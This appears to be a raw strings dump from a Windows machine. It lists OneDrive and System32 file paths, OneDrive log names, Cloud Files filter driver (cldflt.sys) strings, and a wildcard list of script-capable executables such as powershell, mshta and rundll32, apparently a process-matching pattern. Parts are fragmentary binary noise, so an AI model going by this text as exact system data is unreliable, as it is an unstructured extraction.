\Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\CheckboxWindows.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\ReactNativePicker.dll:WofCompressedData \Device\HarddiskVolume3\Windows\System32\rometadata.dll \Device\HarddiskVolume3\Windows\System32\WinMetadata\Windows.UI.Xaml.winmd \Device\HarddiskVolume3\Windows\System32\WinMetadata\Windows.UI.Xaml.winmd:WofCompressedData \Device\HarddiskVolume3\Windows\System32\WinMetadata\Windows.UI.Xaml.winmd \Device\HarddiskVolume3\Windows\System32\WinMetadata\Windows.UI.Xaml.winmd \Device\HarddiskVolume3\Windows\System32\WinMetadata\Windows.UI.Xaml.winmd:WofCompressedData \Device\HarddiskVolume3\Windows\System32\WinMetadata\Windows.UI.Xaml.winmd \Device\HarddiskVolume3\Windows\System32\WinMetadata\Windows.UI.Xaml.winmd \Device\HarddiskVolume3\Windows\System32\WinMetadata\Windows.UI.Xaml.winmd:WofCompressedData \Device\HarddiskVolume3\Windows\System32\WinMetadata\Windows.UI.Xaml.winmd::$EA \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\RNSVG.dll:WofCompressedData \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\RNSVG.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\ReactNativeVideoCPP.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\ReactNativeVideoCPP.dll:WofCompressedData \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\ReactNativeVideoCPP.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\ReactNativeVideoCPP.dll \Device\HarddiskVolume3\Windows\System32\Microsoft.Internal.WarpPal.dll \Device\HarddiskVolume3\Users\job\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 \Device\HarddiskVolume3\Users\job\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 \Device\HarddiskVolume3\Users\job\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileCoAuthLib64.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileCoAuthLib64.dll \Device\HarddiskVolume3\Windows\System32\Windows.Globalization.dll \Device\HarddiskVolume3\Windows\System32\BCP47Langs.dll \Device\HarddiskVolume3\Windows\System32\TextInputFramework.dll \Device\HarddiskVolume3\Windows\System32\FamilySafetyExt.dll \Device\HarddiskVolume3\Windows\System32\FamilySafetyExt.dll:WofCompressedData \Device\HarddiskVolume3\Windows\System32\FamilySafetyExt.dll \Device\HarddiskVolume3\Windows\System32\FamilySafetyExt.dll \Device\HarddiskVolume3\Windows\System32\FamilySafetyExt.dll:WofCompressedData \Device\HarddiskVolume3\Windows\System32\FamilySafetyExt.dll::$EA \Device\HarddiskVolume3\Windows\System32\FamilySafetyExt.dll \Device\HarddiskVolume3\Windows\System32\Wpc.dll \Device\HarddiskVolume3\Windows\System32\Wpc.dll:WofCompressedData \Device\HarddiskVolume3\Windows\System32\Wpc.dll \Device\HarddiskVolume3\Windows\System32\Wpc.dll \Device\HarddiskVolume3\Windows\System32\Wpc.dll:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CorePrivacySettingsStore.dll \Device\HarddiskVolume3\Windows\System32\Windows.Services.TargetedContent.dll \Device\HarddiskVolume3\Windows\System32\Windows.Services.TargetedContent.dll:WofCompressedData \Device\HarddiskVolume3\Windows\System32\Windows.Services.TargetedContent.dll \Device\HarddiskVolume3\Windows\System32\Windows.Services.TargetedContent.dll \Device\HarddiskVolume3\Windows\System32\Windows.Services.TargetedContent.dll \Device\HarddiskVolume3\Users\job\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04 \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\settings\Personal\logUploaderSettings.ini \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\hermes.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\hermes.dll:WofCompressedData \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\hermes.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\hermes.dll \Device\HarddiskVolume3\Windows\System32\directmanipulation.dll \Device\HarddiskVolume3\Windows\System32\Windows.StateRepositoryCore.dll \Device\HarddiskVolume3\Windows\System32\ExplorerFrame.dll \Device\HarddiskVolume3\Windows\System32\mssprxy.dll \Device\HarddiskVolume3\Windows\System32\StructuredQuery.dll \Device\HarddiskVolume3\Windows\System32\Windows.Storage.Search.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\settings\Personal\CxP.db-wal \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Runlevel-Win4-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Runlevel-Win4-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\dsreg.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\Bundle\index.windows.bundle \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\Bundle\index.windows.bundle:WofCompressedData \Device\HarddiskVolume3\Windows\System32\ntshrui.dll \Device\HarddiskVolume3\Windows\System32\cscapi.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\280811 \Device\HarddiskVolume3\Windows\System32\policymanager.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\280811\0c6402d0cdc44bce9fc62ec398a3dd43_1 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\280810\d736452c68c6438aa79430024cf161c1_1 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Network\18dbdddf-18cc-47b1-b302-4b04ae9766ed.tmp \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Network\Sdch Dictionaries~RF10c30.TMP \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Network\Sdch Dictionaries \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Network\Sdch Dictionaries~RF10c30.TMP \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Network\Sdch Dictionaries~RF10c30.TMP \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Network\18dbdddf-18cc-47b1-b302-4b04ae9766ed.tmp \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Network\Sdch Dictionaries \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\280815 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\310091 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\338387 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\353698 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\88000045 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\88000161 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\88000161\782a4ab843ce42e3ae55a5799d0f0cc1_1 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\88000163\89a5d80ebe624ad8adea344b0b19bb87_1 {"&& RestartSavedApps \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.Core_cw5n1h2txyewy\TwinSxS.dll:WofCompressedData \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.Core_cw5n1h2txyewy\TwinSxS.dll:WofCompressedData \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.Core_cw5n1h2txyewy\TwinSxS.dll \Device\HarddiskVolume3\Windows\System32\WerFault.exe \Device\HarddiskVolume3\Windows\System32\WerFault.exe:WofCompressedData \Device\HarddiskVolume3\Windows\System32\WerFault.exe \Device\HarddiskVolume3\Windows\System32\WerFaultSecure.exe \Device\HarddiskVolume3\Windows\System32\WerFaultSecure.exe:WofCompressedData \Device\HarddiskVolume3\Windows\System32\WerFaultSecure.exe \Device\HarddiskVolume3\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MpCopyAccelerator.exe \Device\HarddiskVolume3\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MpCopyAccelerator.exe \Device\HarddiskVolume2 \Device\HarddiskVolume3\Windows\Prefetch\PfSvPerfStats.bin \Device\HarddiskVolume3\Windows\System32\Windows.StateRepositoryCore.dll \Device\HarddiskVolume3\Windows\System32\OneCoreUAPCommonProxyStub.dll \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\windows.immersivecontrolpanel_10.0.8.1000_neutral_neutral_cw5n1h2txyewy \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.ShellExperienceHost_10.0.26100.7462_neutral_neutral_cw5n1h2txyewy \Device\HarddiskVolume3\Windows\Prefetch\MSEDGEWEBVIEW2.EXE-CEE40453.pf ~olu S*A[ *M"G *Z"1 \Device\HarddiskVolume3\Windows\System32\winevt\Logs\Microsoft-Windows-ReadyBoost%4Operational.evtx \Device\HarddiskVolume3\Windows\System32\IPHLPAPI.DLL \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\OneDriveTelemetryStable.dll z* ( \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileCoAuth.exe \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSyncFALWB.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSyncFSCache.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSyncFSDbfsWB.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSyncFSNtfsWB.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSyncFSNtfs.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\adal.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\Telemetry.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSyncSqlite3.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSyncFS.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSyncSessions.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSyncHost.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\UpdateRingSettings.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSyncTelemetryExtensions.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\LoggingPlatform.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\msvcp140.dll \Device\HarddiskVolume3\Windows\System32\credui.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSyncEvents.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\msvcp140_atomic_wait.dll \Device\HarddiskVolume3\Windows\System32\cldapi.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\vcruntime140.dll \Device\HarddiskVolume3\Windows\System32\wininet.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\vcruntime140_1.dll \Device\HarddiskVolume3\Windows\System32\xmllite.dll \Device\HarddiskVolume3\Windows\System32\wscapi.dll \Device\HarddiskVolume3\Windows\System32\winhttp.dll \Device\HarddiskVolume3\Windows\System32\version.dll \Device\HarddiskVolume3\Windows\System32\propsys.dll \Device\HarddiskVolume3\Windows\System32\apphelp.dll \Device\HarddiskVolume3\Windows\System32\secur32.dll \Device\HarddiskVolume3\Windows\System32\wtsapi32.dll \Device\HarddiskVolume3\Windows\System32\uxtheme.dll \Device\HarddiskVolume3\Windows\System32\rsaenh.dll \Device\HarddiskVolume3\Windows\System32\kernel.appcore.dll \Device\HarddiskVolume3\Windows\System32\sspicli.dll \Device\HarddiskVolume3\Windows\System32\userenv.dll \Device\HarddiskVolume3\Windows\System32\cryptsp.dll \Device\HarddiskVolume3\Windows\System32\cryptbase.dll \Device\HarddiskVolume3\Windows\System32\ntasn1.dll \Device\HarddiskVolume3\Windows\System32\ncrypt.dll \Device\HarddiskVolume3\Windows\System32\bcrypt.dll \Device\HarddiskVolume3\Windows\System32\profapi.dll \Device\HarddiskVolume3\Windows\System32\WinTypes.dll \Device\HarddiskVolume3\Windows\System32\msvcp_win.dll \Device\HarddiskVolume3\Windows\System32\gdi32full.dll \Device\HarddiskVolume3\Windows\System32\bcryptprimitives.dll \Device\HarddiskVolume3\Windows\System32\win32u.dll \Device\HarddiskVolume3\Windows\System32\ucrtbase.dll \Device\HarddiskVolume3\Windows\System32\windows.storage.dll \Device\HarddiskVolume3\Windows\System32\crypt32.dll \Device\HarddiskVolume3\Windows\System32\KernelBase.dll \Device\HarddiskVolume3\Windows\System32\gdi32.dll \Device\HarddiskVolume3\Windows\System32\msvcrt.dll \Device\HarddiskVolume3\Windows\System32\ws2_32.dll \Device\HarddiskVolume3\Windows\System32\user32.dll \Device\HarddiskVolume3\Windows\System32\kernel32.dll \Device\HarddiskVolume3\Windows\System32\shlwapi.dll \Device\HarddiskVolume3\Windows\System32\advapi32.dll \Device\HarddiskVolume3\Windows\System32\shell32.dll \Device\HarddiskVolume3\Windows\System32\SHCore.dll \Device\HarddiskVolume3\Windows\System32\ole32.dll \Device\HarddiskVolume3\Windows\System32\imm32.dll \Device\HarddiskVolume3\Windows\System32\clbcatq.dll \Device\HarddiskVolume3\Windows\System32\sechost.dll \Device\HarddiskVolume3\Windows\System32\rpcrt4.dll \Device\HarddiskVolume3\Windows\System32\combase.dll \Device\HarddiskVolume3\Windows\System32\oleaut32.dll \Device\HarddiskVolume3\Windows\System32\ntdll.dll e"C:\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileCoAuth.exe" -Embedding Boo !2Wk \Device\HarddiskVolume3\Windows\System32\dxgiadaptercache.exe \Device\HarddiskVolume3\Windows\System32\kernel32.dll \Device\HarddiskVolume3\Windows\System32\KernelBase.dll \Device\HarddiskVolume3\Windows\System32\msvcp_win.dll \Device\HarddiskVolume3\Windows\System32\ucrtbase.dll \Device\HarddiskVolume3\Windows\System32\advapi32.dll \Device\HarddiskVolume3\Windows\System32\msvcrt.dll \Device\HarddiskVolume3\Windows\System32\dxgi.dll \Device\HarddiskVolume3\Windows\System32\win32u.dll \Device\HarddiskVolume3\Windows\System32\powrprof.dll \Device\HarddiskVolume3\Windows\System32\umpdc.dll \Device\HarddiskVolume3\Windows\System32\gdi32.dll \Device\HarddiskVolume3\Windows\System32\gdi32full.dll \Device\HarddiskVolume3\Windows\System32\ResourcePolicyClient.dll \Device\HarddiskVolume3\Windows\System32\ResourcePolicyClient.dll \Device\HarddiskVolume3\Windows\System32\directxdatabasehelper.dll \Device\HarddiskVolume3\Windows\System32\kernel.appcore.dll \Device\HarddiskVolume3\Windows\System32\cfgmgr32.dll \Device\HarddiskVolume3\Windows\System32\bcryptprimitives.dll \Device\HarddiskVolume3\Windows\System32\dxgiadaptercache.exe \Device\HarddiskVolume3\Windows\System32\directxdatabasehelper.dll \Device\HarddiskVolume3\Windows\System32\DXCore.dll \Device\HarddiskVolume3\Windows\System32\dxgi.dll \Device\HarddiskVolume3\Windows\System32\kernel.appcore.dll \Device\HarddiskVolume3\Windows\System32\cfgmgr32.dll \Device\HarddiskVolume3\Windows\System32\umpdc.dll \Device\HarddiskVolume3\Windows\System32\powrprof.dll \Device\HarddiskVolume3\Windows\System32\msvcp_win.dll \Device\HarddiskVolume3\Windows\System32\gdi32full.dll \Device\HarddiskVolume3\Windows\System32\bcryptprimitives.dll \Device\HarddiskVolume3\Windows\System32\win32u.dll \Device\HarddiskVolume3\Windows\System32\ucrtbase.dll \Device\HarddiskVolume3\Windows\System32\KernelBase.dll \Device\HarddiskVolume3\Windows\System32\gdi32.dll \Device\HarddiskVolume3\Windows\System32\msvcrt.dll \Device\HarddiskVolume3\Windows\System32\user32.dll \Device\HarddiskVolume3\Windows\System32\kernel32.dll \Device\HarddiskVolume3\Windows\System32\advapi32.dll \Device\HarddiskVolume3\Windows\System32\sechost.dll \Device\HarddiskVolume3\Windows\System32\rpcrt4.dll \Device\HarddiskVolume3\Windows\System32\combase.dll \Device\HarddiskVolume3\Windows\System32\ntdll.dll e"C:\WINDOWS\system32\dxgiadaptercache.exe" |{F7 \Device\HarddiskVolume3\Windows\System32\winsta.dll \Device\HarddiskVolume3\Windows\System32\ntmarta.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\logs\Personal\CldFlt0-2026-02-24-080700.etlgz \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\logs\Common\FileCoAuth-2026-02-24.0800.6368.1.odl \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\logs\Common\FileCoAuth-2026-02-24.0800.6368.1.odlgz \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\setup\logs\StandaloneUpdate_2026-02-24_080424_2216-3908.log \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\logs\Personal\StandaloneUpdate_2026-02-24_080424_2216-3908.loggz \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\logs\Common\FileCoAuth-2026-02-24.0806.8008.1.odlgz \Device\HarddiskVolume3\Windows\System32\tsbyuv.dll \Device\HarddiskVolume3\Windows\System32\tsbyuv.dll \Device\HarddiskVolume3\Windows\System32\l3codeca.acm \Device\HarddiskVolume3\Windows\System32\l3codeca.acm \Device\HarddiskVolume3\Windows\System32\msadp32.acm \Device\HarddiskVolume3\Windows\System32\msadp32.acm \Device\HarddiskVolume3\Windows\System32\msg711.acm \Device\HarddiskVolume3\Windows\System32\msg711.acm:WofCompressedData \Device\HarddiskVolume3\Windows\System32\msg711.acm \Device\HarddiskVolume3\Windows\System32\msvidc32.dll \Device\HarddiskVolume3\Windows\System32\msvidc32.dll \Device\HarddiskVolume3\Windows\System32\imaadp32.acm \Device\HarddiskVolume3\Windows\System32\imaadp32.acm:WofCompressedData \Device\HarddiskVolume3\Windows\System32\imaadp32.acm \Device\HarddiskVolume3\Windows\System32\iyuv_32.dll \Device\HarddiskVolume3\Windows\System32\iyuv_32.dll:WofCompressedData \Device\HarddiskVolume3\Windows\System32\iyuv_32.dll \Device\HarddiskVolume3\Windows\System32\msrle32.dll \Device\HarddiskVolume3\Windows\System32\msrle32.dll \Device\HarddiskVolume3\Windows\System32\msgsm32.acm \Device\HarddiskVolume3\Windows\System32\msgsm32.acm:WofCompressedData \Device\HarddiskVolume3\Windows\System32\msgsm32.acm \Device\HarddiskVolume3\Windows\System32\msyuv.dll \Device\HarddiskVolume3\Windows\System32\msyuv.dll:WofCompressedData \Device\HarddiskVolume3\Windows\System32\msyuv.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\logs\Personal\SyncEngine-2026-02-24.0759.3664.2.odl \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\logs\Personal\SyncEngine-2026-02-24.0806.5016.1.odl \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Code Cache\js\index-dir\temp-index \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Code Cache\js\index-dir\the-real-index~RF1362e.TMP \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Code Cache\js\index-dir\the-real-index \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Code Cache\js\index-dir\the-real-index~RF1362e.TMP \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Code Cache\js\index-dir\the-real-index~RF1362e.TMP \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Code Cache\js\index-dir\temp-index \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Code Cache\js\index-dir\the-real-index \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\index.txt.tmp \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\index.txt~RF1367c.TMP \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\index.txt \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\index.txt~RF1367c.TMP \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\index.txt~RF1367c.TMP \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\index.txt.tmp \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\index.txt \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\index.txt~RF1367c.TMP F: (t3-2 Sync diskVolu WINDO crypt ~,*j ce\Har iskV oleau 8\Har w5n1h ows\S c0q_ :Wof 295{) e\Har \Devi iskVolu (am 8\Ha ows\S les (x86 on.d .NET 6601f 811d5 = \Dev comb 8UAPi X(x86 DYa. skVolu \Sys eUAPi J\Devi 8\Har j\NCP WOW6 eC:\ System32 5\Devi 8\Har iskVolu eren <\Dev WOW64\w 5\Devi 8\Har 8\Har \ELS WIND xsys Enclave Page Cache 1.0 Enclave Page Cache 1.0 BlockedApps :${3D0CE612-FDEE-43f7-8ACA-957BEC0CCBA0}.SyncRootIdentity :${3D0CE612-FDEE-43f7-8ACA-957BEC0CCBA0}. \$Extend\$Reparse:$R:$INDEX_ALLOCATION UNKNOWN :${3D0CE612-FDEE-43f7-8ACA-957BEC0CCBA0}.Bitmap.%d.%c%c Unavailable \System32\LogFiles\CloudFiles\ \DosDevices\ CldFlt0.etl SeConvertStringSecurityDescriptorToSecurityDescriptor NULL PsGetVersion WmiTraceMessage WmiQueryTraceInformation EtwRegisterClassicProvider EtwUnregister CldFlt CldFltUpper 409500 180451 \BaseNamedObjects\CfProgressEvent D:PAI(A;;FA;;;SY)(A;;FR;;;AU) D:P(A;;GA;;;AU) \CLDMSGPORT \Registry\Machine\System\CurrentControlSet\Services\%s\Parameters USMsgTimeoutMillis ImagePath TELASSERT \SystemRoot \Registry\Machine\System\CurrentControlSet\Services\%s\Debug Flags %s\%s \Registry\Machine\OSDATA\Software\Microsoft\%s\Debug BreakOnStatus BreakOnHydration BreakOnOpen \Registry\Machine\System\CurrentControlSet\Services\ Microsoft Primitive Provider SHA256 \Parameters DoNotRegisterUpperInstance Enabled SOFTWARE\Policies\Microsoft\CloudFiles ObjectLength %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x AppName \Registry\Machine PackageName \DriverData\CloudFiles\ SOFTWARE AlwaysExposePlaceholders CldFltLog \\?\GLOBALROOT\DriverData\CloudFiles\ Enabling Cldflt Tracing failed. Starting Cldflt Tracing failed. Failed to check for VAIL support Failed checking wcosJunctionsKeyPath \Registry\Machine\System\WCOSJunctions Failed to create file cache device Failed to check WCOS Reg Key DoNotRegisterUpperInstance Fail to subscribe to OOBE complete WNF notification Fail to check setup progress Failed to adjust filter altitude Failed to register upper instance with filter manager Altitude Failed to open instance key FltStartFiltering failed Failed to register with filter manager Failed to initialize HSM backend MinFreeSpace \INSTANCES\ ~#%&{} CancelPopulation CancelNotification CldStreamCancelIO Session0 SecondAttach PopulatePlaceholders CldHsmHydrateData .lock NoImagePath LongFileExtension NoFileExtension _vti_ :${3D0CE612-FDEE-43f7-8ACA-957BEC0CCBA0}.Metadata Bypass not supported on a partial file SummaryCount NumFlushes MaxEntriesStored TotalEntriesFlushed MaxEntriesFlushed MinEntriesFlushed NumBucketLimitReached NumAllocationFailures NumLargeEventFailures WEVT_TEMPLATE Error Information Microsoft-Windows-CloudFiles-Filter CLDFLT driver entry failed. Error message: %1, Error code: %2 CLDFLT registration succeeded CLDFLT failed to attach to volume '%3' with error message: %1 CLDFLT unload succeeded Microsoft-Windows-CloudFiles-Filter/Operational Microsoft-Windows-CloudFiles-Filter/Debug EventData Data Name NTStatus NTStatus EventData Data Name ErrorMsg Data Name NTStatus ErrorMsg NTStatus EventData Data Name NTStatus Data Name VolumeNameLength Data Name VolumeName NTStatus VolumeNameLength VolumeName Microsoft-Windows-CloudFiles-Filter win:Error win:Informational VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription Cloud Files Mini Filter Driver FileVersion 10.0.26100.7705 (WinBuild.160101.0800) InternalName cldflt.sys LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename cldflt.sys ProductName Microsoft Windows Operating System ProductVersion 10.0.26100.7705 VarFileInfo Translation WEVT_TEMPLATE en-US *\dllhost.exe *\reg.exe *\rundll32.exe *\powershell.exe *\regedit.exe *\wscript.exe *\cscript.exe *\cmd.exe *\InfDefaultInstall.exe *\pwsh.exe *\wmiprvse.exe *\regini.exe *\bssafe.exe *\mshta.exe \ObjectTypes\Type \ObjectTypes\Directory \ObjectTypes\SymbolicLink \ObjectTypes\Token \ObjectTypes\Session \ObjectTypes\Job \ObjectTypes\Process \ObjectTypes\Thread \ObjectTypes\Partition 